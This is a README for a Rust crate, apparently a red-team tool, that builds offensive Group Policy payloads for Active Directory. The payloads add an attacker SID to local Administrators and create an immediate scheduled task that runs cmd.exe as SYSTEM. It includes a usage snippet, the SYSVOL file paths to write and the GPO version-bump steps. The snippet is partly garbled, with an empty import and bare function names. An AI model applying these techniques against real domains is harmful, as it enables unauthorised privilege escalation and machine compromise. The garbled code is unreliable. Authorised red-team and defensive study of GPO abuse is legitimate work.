gpo-forge
Offensive Group Policy Object write payloads, in pure Rust — the offline payload-construction half of a SharpGPOAbuse-equivalent.
Once you've confirmed Write on a GPO (via ad-acl grants inspection), you can turn that into machine or user compromise by dropping a small set of well-known files into SYSVOL. This crate builds those files. SYSVOL SMB write and LDAP modify are the caller's transport (smb2-client + adhammer-ldap / msldap-ext / ldap3).
use ;
// AddLocalAdmin: append attacker SID to BUILTIN\Administrators via Security CSE.
let gpttmpl = add_local_admin_gpttmpl;
// Write to \\domain\SYSVOL\<dom>\Policies\{<GUID>}\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf
// NewImmediateTask: run cmd.exe as SYSTEM at next gpupdate.
let xml = new_immediate_task_xml;
// Write to Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
// Then bump gpt.ini + LDAP versionNumber + gPCMachineExtensionNames.
let ini = gpt_ini;
let new_ver = bump_gpo_version_number;
let new_cse_list = cse_list_add;
What it gives you
add_local_admin_gpttmpl—GptTmpl.inffor Security-CSE Group Membership override.new_immediate_task_xml—ScheduledTasks.xmlfor SYSTEM Immediate task RCE.gpt_ini— GPO-rootgpt.iniwith the requiredVersion=bump.bump_gpo_version_number/split_gpo_version_number— the packed user/computer counter math.cse_list_add— merge a CSE + toolExtension GUID pair intogPCMachineExtensionNames/gPCUserExtensionNames.CSE_GUID_SECURITY/CSE_GUID_SCHEDULED_TASKS/TOOLEXT_GUID_SECURITY/TOOLEXT_GUID_GPP— the CSE GUIDs the two attacks need registered.
What it doesn't do
- No SYSVOL SMB write — use
smb2-clientor your existing SMB layer. - No LDAP write for
versionNumber/gPCMachineExtensionNames— useadhammer-ldap/msldap-ext/ldap3. - No permission preflight — use
ad-aclon the target GPO'snTSecurityDescriptorfirst. - No cleanup — after a red-team engagement, restore the original
GptTmpl.inf/ScheduledTasks.xmlfrom a snapshot the caller took before the write.
License
MIT